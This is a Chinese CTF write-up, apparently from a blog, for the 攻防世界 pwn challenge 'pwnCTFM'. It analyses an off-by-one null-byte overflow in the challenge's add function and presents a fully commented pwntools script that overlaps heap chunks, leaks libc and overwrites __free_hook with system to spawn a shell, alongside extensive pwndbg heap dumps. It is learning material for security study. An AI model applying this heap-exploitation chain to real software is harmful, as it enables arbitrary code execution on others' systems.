攻防世界-pwnCTFM-Off_By_one漏洞与Tcachebin绕过

20 篇文章 0 订阅
1 篇文章 0 订阅

攻防世界-pwnCTFM-Off_By_one漏洞与Tcachebin绕过

保护机制

healer@healer-virtual-machine:~/Desktop/pwnCTFM/attachments$ checksec pwn
[*] '/home/healer/Desktop/pwnCTFM/attachments/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
healer@healer-virtual-machine:~/Desktop/pwnCTFM/attachments$ readelf -h pwn
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0xb10
  Start of program headers:          64 (bytes into file)
  Start of section headers:          12616 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         27
  Section header string table index: 26

漏洞利用分析

题目文件保护全开

分析题目内容,在add功能部分存在Off-By-One漏洞,

unsigned __int64 add_0C40()
{
  void *v0; // rsp
  void *v1; // rsi
  size_t v2; // rax
  void *v3; // rsi
  int v5; // [rsp+0h] [rbp-50h]
  int i; // [rsp+4h] [rbp-4Ch]
  __int64 v7; // [rsp+8h] [rbp-48h]
  void *s; // [rsp+10h] [rbp-40h]
  unsigned __int64 v9; // [rsp+18h] [rbp-38h]

  v9 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && *((_QWORD *)&unk_555555603050 + 4 * i); ++i )
    ;
  if ( i < 0 || i > 9 )
  {
    puts("full");
  }
  else
  {
    printf("topic name:");
    read(0, (char *)&unk_555555603040 + 32 * i, 0xAuLL);
    printf("des size:");
    _isoc99_scanf("%d", &v5);
    if ( v5 < 0 || v5 > 496 )
    {
      printf("too long!", &v5);
      memset((char *)&unk_555555603040 + 32 * i, 0, 0xAuLL);
      exit(0);
    }
    v7 = v5 + 1 - 1LL;
    v0 = alloca(16 * ((v5 + 1 + 15LL) / 0x10uLL));
    s = &v5;
    memset(&v5, 0, v5 + 1);
    printf("topic des:", 0LL);
    v1 = s;
    read(0, s, v5);
    *((_QWORD *)&unk_555555603050 + 4 * i) = malloc(v5);  // 此处申请栈空间,例如小于等于24时分配大小0x20大小的堆块
    if ( !*((_QWORD *)&unk_555555603050 + 4 * i) )
    {
      printf("malloc wrong!", v1);
      memset(s, 0, v5);
      memset((char *)&unk_555555603040 + 32 * i, 0, 0xAuLL);
      exit(0);
    }
    v2 = strlen((const char *)s);
    if ( v2 > v5 )
    {
      printf("too long!", v1);
    }
    else
    {
      v3 = s;
      strcpy(*((char **)&unk_555555603050 + 4 * i), (const char *)s);  // 此处复制字符串时会将字符串的最后一个字节“\x00”也拷贝至堆空间,导致将下一个chunk的数值处覆盖一个直接的数据“\x00”
      printf("topic score:", v3);
      _isoc99_scanf("%d", (char *)&unk_555555603040 + 32 * i++ + 24);
    }
  }
  return __readfsqword(0x28u) ^ v9;
}

存在堆溢出漏洞-Off_By_One,如下所示,只有一个堆块时会将TopChunk的低字节覆盖

0000555555604000  0000000000000000 0000000000000021  ........!.......
0000555555604010  3131313131313131 3232323232323232  1111111122222222
0000555555604020  3333333333333333 0000000000020F00  33333333........
0000555555604030  0000000000000000 0000000000000000  ................
0000555555604040  0000000000000000 0000000000000000  ................

结点的存储结构如下:

000055A232803040  0000000A61616161 0000000000000000  aaaa............
                         name
000055A232803050  000055A233C11260 000000000000000B  `....U..........
                      pointer            score

000055A232803060  0000000A62626262 0000000000000000  bbbb............
000055A232803070  000055A233C11280 0000000000000010  .....U..........

题目为libc2.27版本的题目,考虑tcache的保护机制,保护全开,考虑劫持__malloc_hook指针指向我们想要的位置

tcache基础知识,相同大小的chunk块在同一个tcache链中,一个tchache链最多有7个chunk

还发现一个问题,就是strcpy()函数无法将\x00字符写入堆块中,所以无法直接构造pre_size域的值。

Tcache保护机制下的题目这个算是第一次做,相关的姿势不是很清楚,直接搞这个题目有一定的难度,这个题前期纯靠自己分析,找出来了Off-By-One的漏洞,有大概的思路但是没有形成具体的方法,再加上工作原因耽搁了很长一段时间没看,最后还是决定先看大佬的脚本,先搞清楚Tcache的绕过方法再说,下面是我找了一个大佬的脚本拿来研究,完整脚本的分析,最终把整个过程捋顺了

参考方法

from pwn import *
from LibcSearcher import *

# context.terminal = ['bash', '-x', 'sh', '-c']
# context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = 'debug'

io = process("./pwn_no_alarm")
# io = remote("61.147.171.105",62211)
elf = ELF("./pwn_no_alarm")

# libc = ELF("./libc-2.27.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")


# gdb.attach(io,"b * $rebase(0xf0d)\nb * $rebase(0x1111)\nb * $rebase(0x12a3)\nb * $rebase(0xD16)\nb * $rebase(0x1086)")
io.recvuntil("input manager name:")
io.sendline("CTFM")
io.recvuntil("input password:")
io.sendline("123456")


def add_node(topic_name,des_size,topic_des,topic_score):
    io.recvuntil("your choice>>")
    io.send("1")
    io.recvuntil("topic name:")
    io.sendline(topic_name)
    io.recvuntil("des size:")
    io.sendline(str(des_size))
    io.recvuntil("topic des:")
    io.sendline(topic_des)
    io.recvuntil("topic score:")
    io.sendline(str(topic_score))

def del_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("2")
    io.recvuntil("index:")
    io.sendline(str(node_index))

def show_node(node_index):
    io.recvuntil("your choice>>")
    io.sendline("3")
    io.recvuntil("index:")
    io.sendline(str(node_index))


pause()

add_node("test1", 0x18, "aaaa", 0) # 0     chunk0
add_node("test1", 0x1a8, "cccccc", 0) # chunk1     这个是计划后期要利用的堆块


#######################     填充tcachebin  大小 0x1b0
for i in range(7):
    add_node("test1", 0x1a8, "cccccc", 0) #   chunk2~chunk8
for i in range(7):
    del_node(8-i)    # 此处和释放的顺序有关系,FILO,保证链表中第一个分配出来的和上面的chunk1挨着
#######################     填充tcachebin   大小 0x1b0

del_node(1)     # 删除chunk1,将chunk1放入unsortedbin[all][0]中

add_node("test", 0xf8, "\x00", 0)      # 再次创建chunk1,
# 此时由于在UnsortedBin中有一个大小为0x1b0大小的空闲块,当申请大小为0xf8(0x100)
# 会在这个快中切割出来一个大小为0x100的块并将其分配给程序使用,
# 后面要释放这个0x100的块,所以接下来必须把0x100大小的tcachebin链条填满

#######################     填充tcachebin   大小 0x100
for i in range(7):
    add_node("test", 0xf8, "dddddd", 0) # [2,8]
for i in range(7):
    del_node(i + 2)
#######################     填充tcachebin   大小 0x100

add_node("test", 0xa8, "\x00", 0) # 创建了chunk2,前面分配完了之后还剩下0xb0大小的块
# 相当于时把最开始的chunk1分成两块,后面也要对这块再释放,所以要先将大小0xb0的tcachebin链填满

#######################     填充tcachebin   大小 0xb0
for i in range(7):
    add_node("test", 0xa8, "dddddd", 0) # [3,9]
for i in range(7):
    del_node(i + 3)
#######################     填充tcachebin   大小 0xb0

# 至此我们看到的堆空间中的状态就是
'''
pwndbg> bins
tcachebins
0xb0 [  7]: 0x555555605b20 —▸ 0x555555605a70 —▸ 0x5555556059c0 —▸ 0x555555605910 —▸ 0x555555605860 —▸ 0x5555556057b0 —▸ 0x555555605700 ◂— 0x0
0x100 [  7]: 0x555555605600 —▸ 0x555555605500 —▸ 0x555555605400 —▸ 0x555555605300 —▸ 0x555555605200 —▸ 0x555555605100 —▸ 0x555555605000 ◂— 0x0
0x1b0 [  7]: 0x555555604430 —▸ 0x5555556045e0 —▸ 0x555555604790 —▸ 0x555555604940 —▸ 0x555555604af0 —▸ 0x555555604ca0 —▸ 0x555555604e50 ◂— 0x0
'''
# 三条链被填满了,分别对应我们前面的三个大小的块

del_node(1)     # 删除chunk1,大小为0x100大小的块
del_node(2)     # 删除chunk2,大小为0xb0大小的块
# 此时两个块都删除之后,因为两个块的位置是挨着的,会发生一次合并,
# 两个块重新合并成一个0x1b0的块,放入unsortedbin[all][0]
# 但是会在原来的0xb0的块的地方留下一个前一个块的大小,之前的残留

'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000a61616161  0x0000000000000000  aaaa............
0x555555604270  0x0000000000000000  0x00000000000001b1  ................     <-- unsortedbin[all][0]
0x555555604280  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
0x555555604290  0x0000000000000000  0x0000000000000000  ................
...
0x555555604370  0x0000000000000100  0x00000000000000b0  ................
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
...
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................
0x555555604430  0x00005555556045e0  0x0000555555604010  .E`UUU...@`UUU..     <-- tcachebins[0x1b0][0/7]
'''

del_node(0)     # 删除第一个小块,为了下一步再写一次,利用Off-By-One的漏洞,放入tcachebins[0x20][0/1]
add_node("test", 0x18, b'd' * 0x18, 0) # 再次创建chunk0,并利用漏洞将unsortedbin[all][0]的0x1b1覆盖成0x100

'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x6464646464646464  0x6464646464646464  dddddddddddddddd
0x555555604270  0x6464646464646464  0x0000000000000100  dddddddd........     <-- unsortedbin[all][0]
0x555555604280  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
'''


del_node(0)     # 删除chunk0,但是此处不知道为啥要删除

add_node("test", 0x88, "\x00", 0) # 创建chunk0,大小0x90
add_node("test", 0x68, "\x00", 0) # 创建chunk1,大小0x70

#######################     填充tcachebin   大小 0x90
for i in range(7):
    add_node("test", 0x88, "\x00", 0)      # 
for i in range(7):
    del_node(8-i)    # 倒着的顺序,和顺序有关,不知道为啥
#######################     填充tcachebin   大小 0x90


'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........
0x555555604280  0x00007ffff7dcdd00  0x00007ffff7dcdd90  ................
0x555555604290  0x0000000000000000  0x0000000000000000  ................
'''

del_node(0)      # 删除chunk0,对比上下的内容,相当于是把原来的0x90大小的堆块释放将其放入unsortedbin[all][0]

'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........     <-- unsortedbin[all][0]
0x555555604280  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
0x555555604290  0x0000000000000000  0x0000000000000000  ................

pwndbg> bins
tcachebins
0x20 [  1]: 0x555555604260 ◂— 0x0
0x90 [  7]: 0x555555605bd0 —▸ 0x555555605c60 —▸ 0x555555605cf0 —▸ 0x555555605d80 —▸ 0x555555605e10 —▸ 0x555555605ea0 —▸ 0x555555605f30 ◂— 0x0
0xb0 [  7]: 0x555555605b20 —▸ 0x555555605a70 —▸ 0x5555556059c0 —▸ 0x555555605910 —▸ 0x555555605860 —▸ 0x5555556057b0 —▸ 0x555555605700 ◂— 0x0
0x100 [  7]: 0x555555605600 —▸ 0x555555605500 —▸ 0x555555605400 —▸ 0x555555605300 —▸ 0x555555605200 —▸ 0x555555605100 —▸ 0x555555605000 ◂— 0x0
0x1b0 [  7]: 0x555555604430 —▸ 0x5555556045e0 —▸ 0x555555604790 —▸ 0x555555604940 —▸ 0x555555604af0 —▸ 0x555555604ca0 —▸ 0x555555604e50 ◂— 0x0
fastbins
...
unsortedbin
all: 0x555555604270 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x555555604270 /* 'pB`UUU' */
'''




# 下面那个块申请之前tcachebins[0x1b0][0/7]还指向的是0x555555604420的堆块
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........     <-- unsortedbin[all][0]
0x555555604280  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
0x555555604290  0x0000000000000000  0x0000000000000000  ................
...
0x555555604300  0x0000000000000090  0x0000000000000070  ........p.......
0x555555604310  0x0000000000000000  0x0000000000000000  ................
...
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
0x555555604390  0x0000000000000000  0x0000000000000000  ................
...
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................
0x555555604430  0x00005555556045e0  0x0000555555604010  .E`UUU...@`UUU..     <-- tcachebins[0x1b0][0/7]
0x555555604440  0x0000000000000000  0x0000000000000000  ................
'''
add_node("test", 0x1a8, "\x00", 0)        # 创建chunk0,此时使用的是最开始用来填充的一个堆块
# 当时是用来填充tcachebin空间的最上面的一个,和此脚本第51行用的那个堆块紧接着的那个块
# 这样也能解释为什么最开始的0x1b0填充tcachebin时,释放的时候是倒着的,
# 因为需要使用的最近的这个块,如果按照1到8这样的顺序释放,
# 根据FILO原则,当再次使用0x1b0时则会从离最开始的那个堆块最远的位置上先分配,这样导致两个堆块不连着无法完成其他的操作

#######################     填充tcachebin   大小 0x1b0  
# 这里解释一下最开始的时候明明已经将0x1b0的tcachebin释放满了,这里又搞一遍,在填充一遍
# 因为原来留的那个最上面的0x1b0大小的堆块现在已经拆分成了两个小堆块,如下所示
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........     <-- unsortedbin[all][0]
0x555555604280  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
...
0x555555604300  0x0000000000000090  0x0000000000000070  ........p.......
...
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
...
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................ <--这是这一次(上面单独的add)分配到的chunk
0x555555604430  0x0000555555604500  0x0000000000000000  .E`UUU..........
...
0x5555556045d0  0x0000000000000000  0x00000000000001b1  ................
0x5555556045e0  0x0000555555604790  0x0000555555604010  .G`UUU...@`UUU..     <-- tcachebins[0x1b0][0/6] 还剩6个
'''
# 然后上面把最后一个入栈的堆块使用掉了,这时候相当于是大小0x1b0的tcachebin中剩下6个堆块现在处于不满的状态
# 再次释放刚才申请这个块的时候,会将其加入tcachebin,而不是unsortedbin中,
# 下面的这两个循环相当于是把这个堆块往高地址方向提了一个堆块
# 放一个疑惑的点:那为啥不开始的时候就搞两个空出来,而是要到这里之后再去提一个(可能上限是10个块),后期自己需要验证是否可行
for i in range(7):
    add_node("test", 0x1a8, "\x00", 0) # [1,7]
for i in range(7):
    del_node(8 - i)
#######################     填充tcachebin   大小 0x1b0

# 下面的del释放之前的状态入下所示
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........     <-- smallbins[0x90][0]
0x555555604280  0x00007ffff7dcdd20  0x00007ffff7dcdd20   ....... .......
...
0x555555604300  0x0000000000000090  0x0000000000000070  ........p.......
...
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
...
0x555555604410  0x0000000000000000  0x0000000000000000  ................
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................
0x555555604430  0x0000555555604500  0x0000000000000000  .E`UUU..........
'''
del_node(0)        # 再次释放chunk0
# 可以看到下面释放之后,unsortedbin[all][0]的大小变成了0x361
# 此处发生了一次向前合并,为什么能能这样合并呢
# 在最开始的时候将0x555555604270处的大小0x1b0的块释放掉的时候,
# 会把这个块的大小写入下一个堆块的PREV_SIZE,并且将下一个堆块的PREV_INUSE置位为0
# 分别对应写在0x555555604420处的0x1b0,和在0x555555604428处的0x1b0
# 当释放0x555555604420这个堆块的时候,根据unlink机制的检测,发现前一个堆块是在释放状态
# 并且大小是0x1b0,所以触发了向前合并,但是实际上这个前面的堆块早就不是原来的块了,
# 里面已经被分割成了好几部分,造成堆块的重叠,根源就是多溢出的那一个字节的‘\x00’
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000361  dddddddda.......     <-- unsortedbin[all][0]
0x555555604280  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
0x555555604290  0x0000000000000000  0x0000000000000000  ................
...
0x5555556042f0  0x0000000000000000  0x0000000000000000  ................
0x555555604300  0x0000000000000090  0x0000000000000070  ........p.......
0x555555604310  0x0000000000000000  0x0000000000000000  ................
...
0x555555604360  0x0000000000000000  0x0000000000000000  ................
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
0x555555604390  0x0000000000000000  0x0000000000000000  ................
...
0x555555604410  0x0000000000000000  0x0000000000000000  ................
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................
0x555555604430  0x0000555555604500  0x0000000000000000  .E`UUU..........
0x555555604440  0x0000000000000000  0x0000000000000000  ................
'''


# 首先要判断一下这个chunk1是哪个位置,实际上是第129行创建的大小0x68(0x70)的堆块,即0x555555604300
del_node(1)
# 可以发现它释放之后被加入到了tcachebins[0x70][0/1]中
'''
0x5555556042f0  0x0000000000000000  0x0000000000000000  ................
0x555555604300  0x0000000000000090  0x0000000000000070  ........p.......
0x555555604310  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x70][0/1]
0x555555604320  0x0000000000000000  0x0000000000000000  ................
'''


add_node("test", 0x68, "\x00", 0) # 再次创建chunk0,此时创建的堆块实际上就是上一步释放的堆块
# 此时对于pwnCTFM程序来说有用的堆块只有一个,那就是chunk0


for i in range(7):  # 连着创建7个chunk,从chunk1~chunk7
    add_node("test", 0x88, "\x00", 0) 
# chunk1在一个很靠后的位置上,实际上在使用前期填充的时候构造的tcachebins[0x90]的链

add_node("test", 0x88, "\x00", 0) # 创建chunk8,此时申请到的内存位置是0x555555604280
# 可以发现上面的循环其实是为了将之前的tcachebin中的大小为0x90的堆块消耗掉
# 最后创建的chunk8才是最终想要申请的最终目标,在0x555555604270处创建一个0x90大小的堆块
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........
0x555555604280  0x00007ffff7dcdff0  0x00007ffff7dcdff0  ................
...
0x555555604300  0x0000000000000090  0x00000000000002d1  ................     <-- unsortedbin[all][0]
0x555555604310  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
...
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
...
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................
0x555555604430  0x0000555555604500  0x0000000000000000  .E`UUU..........
'''

add_node("test", 0x1f0, "\x00", 0) # 创建chunk9,创建的堆块在0x555555604300处
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........
0x555555604280  0x00007ffff7dcdf00  0x00007ffff7dcdff0  ................
...
0x555555604300  0x0000000000000090  0x0000000000000201  ................
0x555555604310  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
'''


for i in range(1, 8):     # 释放chunk1~chunk7,继续将前面用掉的0x90大小的tcachebin全部填充满
    del_node(i)


#######################     填充tcachebin   大小 0x200
for i in range(7):       # 创建chunk1~chunk7
    add_node("test", 0x1f0, "\x00", 0) # [1,7]
for i in range(1, 8):     # 释放chunk1~chunk7
    del_node(8 - i)
#######################     填充tcachebin   大小 0x200


del_node(0)    # 释放chunk0,实际上就是0x555555604300处的0x70大小的堆块
# 这里是最走要构造的结果目标,这一步释放的时候,我们的chunk0支香的位置是0x555555604300,
# 然而刚刚创建的chunk9,也在0x555555604300处,这一步将chunk0释放,将会在这块内存写入一个值,如下所示
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000091  dddddddd........
0x555555604280  0x00007ffff7dcdf00  0x00007ffff7dcdff0  ................
...
0x555555604300  0x0000000000000090  0x00000000000002d1  ................     <-- unsortedbin[all][0]
0x555555604310  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
'''





show_node(9)     # 此处通过首位功能泄漏内存0x555555604310的值0x00007ffff7dcdca0
io.recvuntil("topic des:")
libc.address = u64(io.recvuntil("topic score", drop=True).ljust(8, b'\x00')) - 0x70 - libc.symbols["__malloc_hook"]
# 泄漏的地址是0x00007ffff7dcdca0,结合__malloc_hook的位置如下所示,可以计算出libc加载的基地址
'''
pwndbg> p &__malloc_hook
$9 = (void *(**)(size_t, const void *)) 0x7ffff7dcdc30 <__malloc_hook>
'''

log.success("libc.address = " + hex(libc.address))

pause()

del_node(8)     # 释放chunk8堆块,位置在0x555555604270
# 可以发现此处释放之后千米啊的两个大堆块还是合并成为了一个0x360大小的堆块
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x0000000000000361  dddddddda.......     <-- unsortedbin[all][0]
0x555555604280  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
...
0x555555604300  0x0000000000000090  0x00000000000002d1  ................
0x555555604310  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
...
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
...
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................
0x555555604430  0x0000555555604500  0x0000000000000000  .E`UUU..........
'''



# 原作者的注释 # victim的size太大了,修改为0x71
add_node("test", 0x1e8, b'd' * 0x10 * 8 + p64(0xdeadbeefdeadbeef) + p64(0x71), 0) # 再次创建chunk0
# 此时可以发现其实chunk9的位置仍然指向的是0x555555604300处,原作者说的“victim的size太大了”应该指的是
# 0x555555604300处的堆块大小为0x2d0,太大了,通过上面的删除chunk8,再申请一个0x1f0大小的块
# 然后写入的值,其实就是为了写到chunk9的位置上,中间不能有'\x00'字节,如下所示:
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x00000000000001f1  dddddddd........
0x555555604280  0x6464646464646464  0x6464646464646464  dddddddddddddddd
...
0x5555556042f0  0x6464646464646464  0x6464646464646464  dddddddddddddddd
0x555555604300  0xdeadbeefdeadbeef  0x0000000000000071  ........q.......
0x555555604310  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
...
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
'''



del_node(9)     # 释放chunk9,
'''
0x555555604300  0xdeadbeefdeadbeef  0x0000000000000071  ........q.......
0x555555604310  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x70][0/1]
'''


del_node(0)    # 释放chunk0,把前面的块在一次合并起来
add_node("test", 0x1e8, b'd' * 0x10 * 9 + p64(libc.symbols["__free_hook"]), 0) # 创建chunk0
# 通过创建chunk0,写入值,使得__free_hook写入对应的位置上
'''
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x00000000000001f1  dddddddd........
0x555555604280  0x6464646464646464  0x6464646464646464  dddddddddddddddd
...
0x555555604300  0x6464646464646464  0x6464646464646464  dddddddddddddddd
0x555555604310  0x00007ffff7dcf8e8  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x70][0/1]

pwndbg> p &__free_hook
$3 = (void (**)(void *, const void *)) 0x7ffff7dcf8e8 <__free_hook>

0x555555604070  0x0000000000000000  0x0000555555604310  .........C`UUU..
'''


add_node("test", 0x68, p64(0xdeadbeef), 0) # 再次创建chunk1
# 函数执行完毕之后返回的堆块是0x555555604310,因为此次申请内存的时候tcachebins[0x70][0/1]中有一个空闲的堆块
# 这里在分配的时候,将0x00007ffff7dcf8e8值写入了0x555555604070
# 个人理解这个位置就相当于是一个记录0x70大小的chunk的链表头,始终记录下一个0x70大小的从哪里分配
'''
pwndbg> fini
Run till exit from #0  __GI___libc_malloc (bytes=104) at malloc.c:3038
0x0000555555400e1a in ?? ()
Value returned is $4 = (void *) 0x555555604310
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────
*RAX  0x555555604310 —▸ 0x7ffff7dcf8e8 (__free_hook) ◂— 0x0

0x555555604070  0x0000000000000000  0x00007ffff7dcf8e8  ................
'''


add_node("test", 0x68, p64(libc.symbols["system"]), 0) # 申请chunk2
# 此时分配的时候相当于是在0x7ffff7dcf8e8处,即__free_hook处分配到了一个堆块
# 并且在这一步完成之后,将__free_hook的值写成了system函数的值
'''
pwndbg> fini    # malloc函数执行完毕后的返回结果
Run till exit from #0  __GI___libc_malloc (bytes=104) at malloc.c:3038
0x0000555555400e1a in ?? ()
Value returned is $5 = (void *) 0x7ffff7dcf8e8 <__free_hook>
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────
*RAX  0x7ffff7dcf8e8 (__free_hook) ◂— 0x0

pwndbg> x/30xg 0x7ffff7dcf8e8
0x7ffff7dcf8e8 <__free_hook>:   0x00007ffff7a31420  0x0000000000000000

pwndbg> x/10i 0x00007ffff7a31420
   0x7ffff7a31420 <__libc_system>:  test   rdi,rdi
   0x7ffff7a31423 <__libc_system+3>:    je     0x7ffff7a31430 <__libc_system+16>
   0x7ffff7a31425 <__libc_system+5>:    jmp    0x7ffff7a30e90 <do_system>
   0x7ffff7a3142a <__libc_system+10>:   nop    WORD PTR [rax+rax*1+0x0]
   0x7ffff7a31430 <__libc_system+16>:   lea    rdi,[rip+0x164959]        # 0x7ffff7b95d90
   0x7ffff7a31437 <__libc_system+23>:   sub    rsp,0x8
   0x7ffff7a3143b <__libc_system+27>:   call   0x7ffff7a30e90 <do_system>
   0x7ffff7a31440 <__libc_system+32>:   test   eax,eax
   0x7ffff7a31442 <__libc_system+34>:   sete   al
'''


add_node("test", 0x68, "/bin/sh", 0) # 创建chunk3,
#感觉其实这里创建的哪里都不重要,只是需要一个位置写入"/bin/sh",
# 再一次释放的时候执行的是 free(*0x555555604470),然而free函数的__free_hook已经劫持成了system
# 0x555555604470处存放的又是"/bin/sh"
'''
pwndbg> fini
Run till exit from #0  __GI___libc_malloc (bytes=104) at malloc.c:3038
0x0000555555400e1a in ?? ()
Value returned is $6 = (void *) 0x555555604470
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────
*RAX  0x555555604470 —▸ 0x7ffff7dcdca0 (main_arena+96) —▸ 0x555555606f60 ◂— 0x0



# 也不太清楚为啥这里会分配到这个地址上0x555555604470,下面先保存一下堆空间的结构
0x555555604250  0x0000000000000000  0x0000000000000021  ........!.......
0x555555604260  0x0000000000000000  0x0000555555604010  .........@`UUU..     <-- tcachebins[0x20][0/1]
0x555555604270  0x6464646464646464  0x00000000000001f1  dddddddd........
...
0x555555604310  0x00007f00deadbeef  0x0000000000000000  ................
...
0x555555604370  0x0000000000000070  0x00000000000000b1  p...............
0x555555604380  0x00007ffff7dcdd00  0x00007ffff7dcdd40  ........@.......
...
0x555555604420  0x00000000000001b0  0x00000000000001b0  ................
0x555555604430  0x0000555555604500  0x0000000000000000  .E`UUU..........
...
0x555555604460  0x0000000000000000  0x0000000000000071  ........q.......
0x555555604470  0x00007ffff7dcdca0  0x00007ffff7dcdca0  ................
0x555555604480  0x0000000000000000  0x0000000000000000  ................
'''


del_node(3)
'''
pwndbg> c
...
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────
 RAX  0x555555604470 ◂— '/bin/sh\n'
*RBX  0x0
...
─────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────
 ► 0x7ffff7a79910 <free>       push   r15
   0x7ffff7a79912 <free+2>     push   r14
   0x7ffff7a79914 <free+4>     push   r13


# 下面这里通过__free_hook函数跳转到system函数上
pwndbg>
0x00007ffff7a79bf5  3104          (*hook)(mem, RETURN_ADDRESS (0));
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────
 RAX  0x7ffff7a31420 (system) ◂— test   rdi, rdi
